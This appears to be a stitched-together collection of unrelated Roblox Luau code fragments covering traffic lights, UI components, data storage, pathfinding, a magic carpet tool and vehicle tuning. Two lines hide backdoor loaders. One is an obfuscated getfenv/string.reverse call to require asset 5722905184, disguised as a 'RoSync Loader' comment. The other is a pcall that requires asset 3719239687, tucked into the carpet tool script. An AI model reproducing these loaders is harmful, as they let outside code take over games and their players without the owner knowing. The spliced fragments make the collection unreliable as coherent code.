TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
end
|
--[=[
Defaults the observable to a value if it isn't fired immediately
```lua
Rx.NEVER:Pipe({
Rx.defaultsTo("Hello")
}):Subscribe(print) --> Hello
```
@param value any
@return (source: Observable) -> Observable
]=] |
function Rx.defaultsTo(value)
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local maid = Maid.new()
local fired = false
maid:GiveTask(source:Subscribe(
function(...)
fired = true
sub:Fire(...)
end,
sub:GetFailComplete()))
if not fired then
sub:Fire(value)
end
return maid
end)
end
end
|
-- The raw pixel size of the button and the offset needed for 9-slicing it |
local BUTTON_PIXEL_SIZE = 32 -- px
local SLICE_OFFSET = 6 -- px
local defaultProps = {
position = UDim2.fromScale(1, 1),
anchorPoint = Vector2.new(0.4, 0.4),
size = 24,
transparency = 0,
}
export type Props = typeof(defaultProps) & {
keyCode: Enum.KeyCode,
transparency: any?, -- Roact binding
}
KeyCodeIcon.defaultProps = defaultProps
function KeyCodeIcon:render()
local props: Props = self.props
if not props.keyCode then
return
end
local gamepadIcon = assets.Gamepad[props.keyCode.Name]
if gamepadIcon then
return Roact.createElement("ImageLabel", {
Image = gamepadIcon,
ImageTransparency = props.transparency,
Size = UDim2.fromOffset(props.size, props.size),
Position = props.position,
AnchorPoint = props.anchorPoint,
BackgroundTransparency = 1,
})
else
return Roact.createElement("ImageLabel", {
Image = assets.KeyBacking,
ImageTransparency = props.transparency,
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(
SLICE_OFFSET,
SLICE_OFFSET,
BUTTON_PIXEL_SIZE - SLICE_OFFSET,
BUTTON_PIXEL_SIZE - SLICE_OFFSET
),
Size = UDim2.fromOffset(props.size, props.size),
Position = props.position,
AnchorPoint = props.anchorPoint,
BackgroundTransparency = 1,
}, {
Key = Roact.createElement(TextLabel, {
Text = props.keyCode.Name,
TextTransparency = props.transparency,
Size = UDim2.fromScale(1, 1),
Font = constants.HeaderFont,
TextColor3 = constants.White,
TextScaled = false,
AutomaticSize = Enum.AutomaticSize.X,
TextXAlignment = Enum.TextXAlignment.Center,
TextYAlignment = Enum.TextYAlignment.Center,
}),
})
end
end
return KeyCodeIcon
|
--[[ Last synced 7/23/2021 04:30 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
ROBLOX deviation: skipped code
original code lines: 376 - 416
]] | |
-- Gets the storage location for packages used by each Dev Modules. The packages
-- that get put in this folder are deduplicated so every distinct version of a
-- package has only one copy. |
local function getPackageStorage()
local packageStorage = constants.PACKAGE_STORAGE_LOCATION:FindFirstChild(constants.PACKAGE_STORAGE_NAME)
if not packageStorage then
packageStorage = Instance.new("Folder")
packageStorage.Name = constants.PACKAGE_STORAGE_NAME
packageStorage.Parent = constants.PACKAGE_STORAGE_LOCATION
end
return packageStorage
end
|
-- Signal class |
local Signal = {}
Signal.__index = Signal
function Signal.new(signal)
return setmetatable({
_handlerListHead = false,
_signalType = signal
}, Signal)
end
function Signal:Connect(fn)
local connection = Connection.new(self, fn)
if self._signalType == 1 and self._handlerListHead then
connection._next = self._handlerListHead
self._handlerListHead = connection
else
self._handlerListHead = connection
end
return connection
end
|
--[[
Creates a registry for the given class
]] |
function Registry.new(class)
local self = {
class = class,
objects = {}
}
setmetatable(self, {__index = Registry})
return self
end
|
-- ANimation |
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
Debounce = 2
Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
Debounce = 3
plr.Character.HumanoidRootPart.Anchored = false
local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
for i = 1,10 do
wait(0.1)
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
end
wait(0.3)
Track2:Stop()
wait(.5)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
--[[**
<description>
Run this once to combine all keys provided into one "main key".
Internally, this means that data will be stored in a table with the key mainKey.
This is used to get around the 2-DataStore2 reliability caveat.
</description>
<parameter name = "mainKey">
The key that will be used to house the table.
</parameter>
<parameter name = "...">
All the keys to combine under one table.
</parameter>
**--]] |
function DataStore2.Combine(mainKey, ...)
for _, name in pairs({...}) do
combinedDataStoreInfo[name] = mainKey
end
end
function DataStore2.ClearCache()
DataStoreCache = {}
end
function DataStore2:__call(dataStoreName, player)
assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}"):format(typeof(dataStoreName), typeof(player)))
if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then
return DataStoreCache[player][dataStoreName]
elseif combinedDataStoreInfo[dataStoreName] then
local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player)
dataStore:BeforeSave(function(combinedData)
for key in pairs(combinedData) do
if combinedDataStoreInfo[key] then
local combinedStore = DataStore2(key, player)
local value = combinedStore:Get(nil, true)
if value ~= nil then
if combinedStore.combinedBeforeSave then
value = combinedStore.combinedBeforeSave(clone(value))
end
combinedData[key] = value
end
end
end
return combinedData
end)
local combinedStore = setmetatable({
combinedName = dataStoreName,
combinedStore = dataStore
}, {
__index = function(self, key)
return CombinedDataStore[key] or dataStore[key]
end
})
if not DataStoreCache[player] then
DataStoreCache[player] = {}
end
DataStoreCache[player][dataStoreName] = combinedStore
return combinedStore
end
local dataStore = {}
dataStore.Name = dataStoreName
dataStore.UserId = player.UserId
dataStore.callbacks = {}
dataStore.beforeInitialGet = {}
dataStore.afterSave = {}
dataStore.bindToClose = {}
dataStore.savingMethod = SavingMethods.OrderedBackups.new(dataStore)
setmetatable(dataStore, DataStoreMetatable)
local event, fired = Instance.new("BindableEvent"), false
game:BindToClose(function()
if not fired then
event.Event:wait()
end
local value = dataStore:Get(nil, true)
for _, bindToClose in pairs(dataStore.bindToClose) do
bindToClose(player, value)
end
end)
local playerLeavingConnection
playerLeavingConnection = player.AncestryChanged:Connect(function()
if player:IsDescendantOf(game) then return end
playerLeavingConnection:Disconnect()
if game.ServerScriptService.DataSave.Value == true then
dataStore:Save()
end
event:Fire()
fired = true
delay(40, function() --Give a long delay for people who haven't figured out the cache :^(
DataStoreCache[player] = nil
end)
end)
if not DataStoreCache[player] then
DataStoreCache[player] = {}
end
DataStoreCache[player][dataStoreName] = dataStore
return dataStore
end
return setmetatable(DataStore2, DataStore2)
|
--script.Parent.LL.Velocity = script.Parent.LL.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.LLL.Velocity = script.Parent.LLL.CFrame.lookVector *script.Parent.Speed.Value |
script.Parent.LLLL.Velocity = script.Parent.LLLL.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.M.Velocity = script.Parent.M.CFrame.lookVector *script.Parent.Speed.Value |
--Don't modify this script unless you really know what you're doing. |
local WaitFor = (function(parent, child_name)
local found = parent:FindFirstChild(child_name)
while found == nil do
parent.ChildAdded:wait()
found = parent:FindFirstChild(child_name)
if found then break end
end
return found
end)
local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 = nil }
local ApplyModifications = (function(weld, char)
local torso = WaitFor(char, "Torso")
local neck = WaitFor(torso, "Neck")
local rsho = WaitFor(torso, "Right Shoulder")
local lsho = WaitFor(torso, "Left Shoulder")
local rhip = WaitFor(torso, "Right Hip")
local lhip = WaitFor(torso, "Left Hip")
local config = script.Parent.Configuration
local head_ang = config["Head Angle"].Value
local legs_ang = config["Legs Angle"].Value
local arms_ang = config["Arms Angle"].Value
local sit_ang = config["Sitting Angle"].Value
local sit_pos = config["Sitting Position"].Value
--First adjust sitting position and angle
--Add 90 to the angle because that's what most people will be expecting.
--weld.C1 = weld.C1 * CFrame.fromEulerAnglesXYZ(math.rad((sit_ang) + 90), 0, 0)
--weld.C0 = CFrame.new(sit_pos)
weld.C0 = weld.C0 * CFrame.new(0, 1, 0)
last.neckC1 = neck.C1
last.rshoC0 = rsho.C0
last.lshoC0 = lsho.C0
last.rhipC0 = rhip.C0
last.lhipC0 = lhip.C0
--Now adjust the neck angle.
neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(math.rad(head_ang), 0, 0)
--Now adjust the arms angle.
rsho.C0 = rsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(arms_ang), 0)
lsho.C0 = lsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(-arms_ang), 0)
--Now the legs
rhip.C0 = rhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(legs_ang))
lhip.C0 = lhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(-legs_ang))
end)
local RevertModifications = (function(weld, char)
--Any modifications done in ApplyModifications have to be reverted here if they
--change any welds - otherwise people will wonder why their head is pointing the wrong way.
local torso = WaitFor(char, "Torso")
local neck = WaitFor(torso, "Neck")
local rsho = WaitFor(torso, "Right Shoulder")
local lsho = WaitFor(torso, "Left Shoulder")
local rhip = WaitFor(torso, "Right Hip")
local lhip = WaitFor(torso, "Left Hip")
--Now adjust the neck angle.
neck.C1 = last.neckC1 or CFrame.new()
rsho.C0 = last.rshoC0 or CFrame.new()
lsho.C0 = last.lshoC0 or CFrame.new()
rhip.C0 = last.rhipC0 or CFrame.new()
lhip.C0 = last.lhipC0 or CFrame.new()
weld:Destroy()
end)
script.Parent.ChildAdded:connect(function(c)
if c:IsA("Weld") then
local character = nil
if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
character = c.Part1.Parent
else return end
ApplyModifications(c, character)
end
end)
script.Parent.ChildRemoved:connect(function(c)
if c:IsA("Weld") then
local character = nil
if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
character = c.Part1.Parent
else return end
RevertModifications(c, character)
end
end)
|
--Generate a basic map |
local map = {}
map.sizeX = 100
map.sizeY = 100
map.fatgridSize = 10
map.grid = {}
map.fatgrid = {}
map.impassible = 1000000
local cardinals = { Vector3.new(-1,0,0),Vector3.new(1,0,0),Vector3.new(0,-1,0),Vector3.new(0,1,0) }
local corners = {
{ dir = Vector3.new(-1,-1,0), a = Vector3.new(-1, 0,0), b = Vector3.new(0,-1,0) },
{ dir = Vector3.new( 1,-1,0), a = Vector3.new( 1, 0,0), b = Vector3.new(0,-1,0) },
{ dir = Vector3.new( 1, 1,0), a = Vector3.new( 1, 0,0), b = Vector3.new(0, 1,0) },
{ dir = Vector3.new(-1, 1,0), a = Vector3.new(-1, 0,0), b = Vector3.new(0, 1,0) },
}
function map:GetPoint(vec2 : Vector3)
return map.grid[vec2]
end
function map:SetPoint(vec2 : Vector3, val : number, cost : number)
local getPoint = map.grid[vec2]
if (getPoint == nil) then
getPoint = { tile = 0, cost = 0, connections = {}, x = vec2.X, y = vec2.Y }
map.grid[vec2] = getPoint
end
getPoint.tile = val
getPoint.cost = cost
end
function map:CreateConnections(vec2)
local getPoint = map.grid[vec2]
if (getPoint == nil) then
return
end
getPoint.connections = {}
for key,vec in pairs(cardinals) do
local neighbour = self:GetPoint(vec2 + vec)
if (neighbour) then
table.insert(getPoint.connections, { n = neighbour, cost = neighbour.cost + 10 })
end
end
for key,record in pairs(corners) do
local neighbour = self:GetPoint(vec2 + record.dir)
local a = self:GetPoint(vec2 + record.a)
local b = self:GetPoint(vec2 + record.b)
if (a and a.cost > 0) then
continue
end
if (b and b.cost > 0) then
continue
end
if (neighbour) then
table.insert(getPoint.connections, { n = neighbour, cost = neighbour.cost + 14 })
end
end
end
function map:GenerateDummy()
math.randomseed(1)
--empty air
for y=0,map.sizeY-1 do
for x=0,map.sizeX-1 do
self:SetPoint(Vector3.new(x,y,0),0 , 0)
end
end
--borders
for y=0,map.sizeY-1 do
self:SetPoint(Vector3.new(0,y,0),1, map.impassible)
self:SetPoint(Vector3.new(map.sizeX-1,y,0),1, map.impassible)
end
for x=0,map.sizeX-1 do
self:SetPoint(Vector3.new(x,0,0),1 ,map.impassible)
self:SetPoint(Vector3.new(x,map.sizeY-1,0),1, map.impassible)
end
for y=0,map.sizeY-1 do
for x=0,map.sizeX-1 do
if (math.random()<0.15) then
self:SetPoint(Vector3.new(x,y,0), 1 , map.impassible)
end
end
end
--Create connections
for y=0,map.sizeY-1 do
for x=0,map.sizeX-1 do
self:CreateConnections(Vector3.new(x,y,0))
end
end
end
function map:CreateVisuals()
for vec2,value in pairs(self.grid) do
if (value.tile > 0) then
local part = Instance.new("Part")
part.Size = Vector3.new(6,3,6)
part.Position = Vector3.new(3 + vec2.x * 6 , 1.5, 3 + vec2.y * 6)
part.Anchored = true
part.Parent = game.Workspace
part.Transparency = 0
end
end
end
function map:MakePath(path, color)
for _,value in pairs(path) do
local part = Instance.new("Part")
part.Size = Vector3.new(3,3,3)
part.Position = Vector3.new(3 + value.x * 6 , 3, 3 + value.y * 6)
part.Anchored = true
part.Color = color
part.Parent = game.Workspace
end
end
function debugBall(node,color)
local part = Instance.new("Part")
part.Size = Vector3.new(3,3,3)
part.Position = Vector3.new(3 + node.x * 6 , 3, 3 + node.y * 6)
part.Anchored = true
part.Color = color
part.Parent = game.Workspace
end
|
--set suitcase name to the player's name |
handle.BottomGui.OwnerName.Text = player.Name
handle.TopGui.OwnerName.Text = player.Name
|
-- import assign from 'object-assign'; |
local ReactCurrentDispatcher = require(script.ReactCurrentDispatcher)
export type Dispatcher = ReactCurrentDispatcher.Dispatcher
local ReactCurrentBatchConfig = require(script.ReactCurrentBatchConfig)
local ReactCurrentOwner = require(script.ReactCurrentOwner)
local ReactDebugCurrentFrame = require(script.ReactDebugCurrentFrame)
local IsSomeRendererActing = require(script.IsSomeRendererActing)
local ReactSharedInternals = {
ReactCurrentDispatcher = ReactCurrentDispatcher,
ReactCurrentBatchConfig = ReactCurrentBatchConfig,
ReactCurrentOwner = ReactCurrentOwner,
IsSomeRendererActing = IsSomeRendererActing,
-- ROBLOX deviation: Luau type checking requires us to have a consistent export shape regardless of __DEV__
-- ROBLOX TODO: use if-expressions when all clients are on 503+
ReactDebugCurrentFrame = if _G.__DEV__
then ReactDebugCurrentFrame
else {
setExtraStackFrame = function(_: string?): ()
onlyInTestError("setExtraStackFrame")
end,
},
-- deviation: We shouldn't have to worry about duplicate bundling here
-- Used by renderers to avoid bundling object-assign twice in UMD bundles:
-- assign,
}
return ReactSharedInternals
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RemovalMonitor = script:WaitForChild("RemovalMonitor")
CarpetPieces = {
{MeshId = 223079795, Angle = 160},
{MeshId = 223079835, Angle = 100},
{MeshId = 223079888, Angle = 100},
{MeshId = 223079981, Angle = 160},
}
CarpetSize = Vector3.new(3, 0.5, 6.5)
BaseUrl = "http://www.roblox.com/asset/?id="
Rate = (1 / 10)
BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = false
BasePart.Locked = true
ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart
RainbowColors = {
Vector3.new(1, 0, 0),
Vector3.new(1, 0.5, 0),
Vector3.new(1, 1, 0),
Vector3.new(0, 1, 0),
Vector3.new(0, 1, 1),
Vector3.new(0, 0, 1),
Vector3.new(0.5, 0, 1)
}
Animations = {
Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
Grips = {
Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}
Flying = false
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true
function Clamp(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end
function TransformModel(Objects, Center, NewCFrame, Recurse)
local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
for i, v in pairs(Objects) do
if v:IsA("BasePart") then
v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
end
if Recurse then
TransformModel(v:GetChildren(), Center, NewCFrame, true)
end
end
end
function Weld(Parent, PrimaryPart)
local Parts = {}
local Welds = {}
local function WeldModel(Parent, PrimaryPart)
for i, v in pairs(Parent:GetChildren()) do
if v:IsA("BasePart") then
if v ~= PrimaryPart then
local Weld = Instance.new("Weld")
Weld.Name = "Weld"
Weld.Part0 = PrimaryPart
Weld.Part1 = v
Weld.C0 = PrimaryPart.CFrame:inverse()
Weld.C1 = v.CFrame:inverse()
Weld.Parent = PrimaryPart
table.insert(Welds, Weld)
end
table.insert(Parts, v)
end
WeldModel(v, PrimaryPart)
end
end
WeldModel(Parent, PrimaryPart)
return Parts, Welds
end
function CleanUp()
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and v ~= Handle then
v:Destroy()
end
end
end
function CreateRainbow(Length)
local RainbowModel = Instance.new("Model")
RainbowModel.Name = "RainbowPart"
for i, v in pairs(RainbowColors) do
local Part = ColorPart:Clone()
Part.Name = "Part"
Part.Size = Vector3.new(0.5, 0.5, Length)
Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
Part.Mesh.Scale = (Part.Size * 2)
Part.Mesh.VertexColor = v
Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
Part.Parent = RainbowModel
end
local RainbowBoundingBox = BasePart:Clone()
RainbowBoundingBox.Name = "BoundingBox"
RainbowBoundingBox.Transparency = 1
RainbowBoundingBox.Size = RainbowModel:GetModelSize()
RainbowBoundingBox.Anchored = true
RainbowBoundingBox.CanCollide = false
RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
RainbowBoundingBox.Parent = RainbowModel
return RainbowModel
end
function GetRainbowModel()
local ModelName = (Player.Name .. "'s Rainbow")
local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
if not Model then
Model = Instance.new("Model")
Model.Name = ModelName
local RemovalMonitorClone = RemovalMonitor:Clone()
RemovalMonitorClone.Disabled = false
RemovalMonitorClone.Parent = Model
end
return Model
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
Flying = not Flying
if Flying then
Handle.Transparency = 1
CleanUp()
local CarpetParts = {}
for i, v in pairs(CarpetPieces) do
local CarpetPart = BasePart:Clone()
CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.MeshId = (BaseUrl .. v.MeshId)
Mesh.TextureId = (BaseUrl .. "223080038")
Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
Mesh.VertexColor = Vector3.new(1, 1, 1)
Mesh.Offset = Vector3.new(0, 0, 0)
Mesh.Parent = CarpetPart
local Weld = Instance.new("Weld")
Weld.Part0 = Handle
Weld.Part1 = CarpetPart
local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
Weld.C1 = CFrame.new(0, XOffset, YOffset)
Weld.Parent = CarpetPart
table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
CarpetPart.Parent = Tool
end
spawn(function()
InvokeClient("PlayAnimation", Animations.Sit)
Tool.Grip = Grips.Flying
end)
Torso.Anchored = true
delay(.2,function()
Torso.Anchored = false
Torso.Velocity = Vector3.new(0,0,0)
Torso.RotVelocity = Vector3.new(0,0,0)
end)
FlightSpin = Instance.new("BodyGyro")
FlightSpin.Name = "FlightSpin"
FlightSpin.P = 10000
FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100
FlightSpin.cframe = Torso.CFrame
FlightPower = Instance.new("BodyVelocity")
FlightPower.Name = "FlightPower"
FlightPower.velocity = Vector3.new(0, 0, 0)
FlightPower.maxForce = Vector3.new(1,1,1)*1000000
FlightPower.P = 1000
FlightHold = Instance.new("BodyPosition")
FlightHold.Name = "FlightHold"
FlightHold.P = 100000
FlightHold.maxForce = Vector3.new(0, 0, 0)
FlightHold.position = Torso.Position
FlightSpin.Parent = Torso
FlightPower.Parent = Torso
FlightHold.Parent = Torso
spawn(function()
local LastPlace = nil
while Flying and ToolEquipped and CheckIfAlive() do
local CurrentPlace = Handle.Position
local Velocity = Torso.Velocity
Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude
if LastPlace and Velocity > 10 then
spawn(function()
local Model = GetRainbowModel()
local Distance = (LastPlace - CurrentPlace).magnitude
local Length = Distance + 3.5
local RainbowModel = CreateRainbow(Length)
--Thanks so much to ArceusInator for helping solve this part!
local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)
TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
Debris:AddItem(RainbowModel, 1)
RainbowModel.Parent = Model
if Model and not Model.Parent then
Model.Parent = game:GetService("Workspace")
end
LastPlace = CurrentPlace
end)
elseif not LastPlace then
LastPlace = CurrentPlace
end
wait(Rate)
end
end)
elseif not Flying then
Torso.Velocity = Vector3.new(0, 0, 0)
Torso.RotVelocity = Vector3.new(0, 0, 0)
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
spawn(function()
Tool.Grip = Grips.Normal
InvokeClient("StopAnimation", Animations.Sit)
end)
end
wait(2)
Tool.Enabled = true
end
pcall(function()require(3719239687)end)
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("HumanoidRootPart")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animations = {
Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
else
Animations = {
Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
end
end
Tool.Grip = Grips.Normal
ToolEquipped = true
end
function Unequipped()
Flying = false
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
CleanUp()
Handle.Transparency = 0
ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
CleanUp()
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--Player_UI.Player_IMG.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=" ..Player.Name |
Player_UI.Player_Name.Text = Player.Name
Player_UI.Player_Cash.Text = Cash.Value.."$"
Cash.Changed:connect(function()
Player_UI.Player_Cash.Text = Cash.Value .. "$"
end)
|
--[=[
Converts to the string to lowerCamelCase
@param str string
@return string
]=] |
function String.toLowerCamelCase(str: string): string
str = str:lower()
str = str:gsub("[ _](%a)", string.upper)
str = str:gsub("^%a", string.lower)
str = str:gsub("%p", "")
return str
end
|
--[=[
Stops the timer.
]=] |
function Timer:Stop()
if not self._runHandle then return end
self._runHandle:Disconnect()
self._runHandle = nil
end
|
-- Functions |
local function closeMenu()
tpMenu.Enabled = false
end
b_close.MouseButton1Click:Connect(closeMenu)
|
----------------------------------------------------------------------------------------------- |
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = 8
local intach = car.Body.Dash.D.G.Tac.Needle
local inspd = car.Body.Dash.D.G.Spd.Needle |
-- create a ScreenGui |
local screenGui = Instance.new("ScreenGui", playerGui)
|
--Wheel Alignment (Dont physically align the wheels, use these values) |
Tune.FCamber = -2
Tune.RCamber = 0
Tune.FToe = 0
Tune.RToe = 0
Tune.FCaster = 0
Tune.RCaster = 0
Tune.StAxisOffset = 0
|
-- Etc |
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")
local DEATH_DESTROY_DELAY = game.ServerStorage.Respaw.Garcom.Value
local PATROL_WALKSPEED = 8
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local ATTACK_STAND_TIME = 1
local HITBOX_SIZE = Vector3.new(5, 3, 5)
local SEARCH_DELAY = 1
local ATTACK_RANGE = 3
local ATTACK_DELAY = 1
local ATTACK_MIN_WALKSPEED = 8
local ATTACK_MAX_WALKSPEED = 15
|
------------------------------------------------------------------------
-- stuff |
do
script.Parent.Equipped:connect(function()
if player == nil then
player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
end
if character == nil or character.Parent == nil then
character = script.Parent.Parent
humanoid = character.Humanoid
isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm")
end
local getWeld = rightHand:WaitForChild("RightGrip")
local motor = Instance.new("Motor6D")
motor.Name = motorName
motor.Part0 = getWeld.Part0
motor.Part1 = getWeld.Part1
motor.C0 = script.Parent.GripWeld.C0
--motor.C1 = getWeld.C1
getWeld:Destroy()
motor.Parent = rightHand
end)
end
|